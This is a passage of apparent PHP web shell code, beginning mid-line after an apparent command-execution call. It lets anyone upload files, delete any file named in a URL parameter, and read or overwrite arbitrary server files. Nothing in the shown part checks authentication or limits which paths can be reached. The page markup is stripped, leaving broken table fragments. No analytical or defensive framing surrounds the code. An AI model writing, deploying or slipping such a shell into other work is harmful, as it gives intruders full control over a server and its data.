&1"); } // === File Upload === if (isset($_FILES['file'])) { $target = $cwd . "/" . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) { $msg = "✅ Uploaded!"; } else { $msg = "❌ Upload Failed!"; } } // === File Delete === if (isset($_GET['del'])) { $file = urldecode($_GET['del']); if (file_exists($file)) unlink($file); } // === File View === if (isset($_GET['view'])) { $file = urldecode($_GET['view']); echo "
".
htmlspecialchars(file_get_contents($file)).
"";
echo "⬅ Back";
exit;
}
// === File Edit ===
if (isset($_GET['edit'])) {
$file = urldecode($_GET['edit']);
if (is_file($file)) {
if (isset($_POST['savefile'])) {
file_put_contents($file, $_POST['content']);
echo "✅ File Saved!| Name | Size | Action | 📂 ".htmlspecialchars($f)." | [DIR] | Delete | "; } else { echo "
|---|---|---|
| ".htmlspecialchars($f)." | ".filesize($path)." bytes | View | Edit | Download | Delete |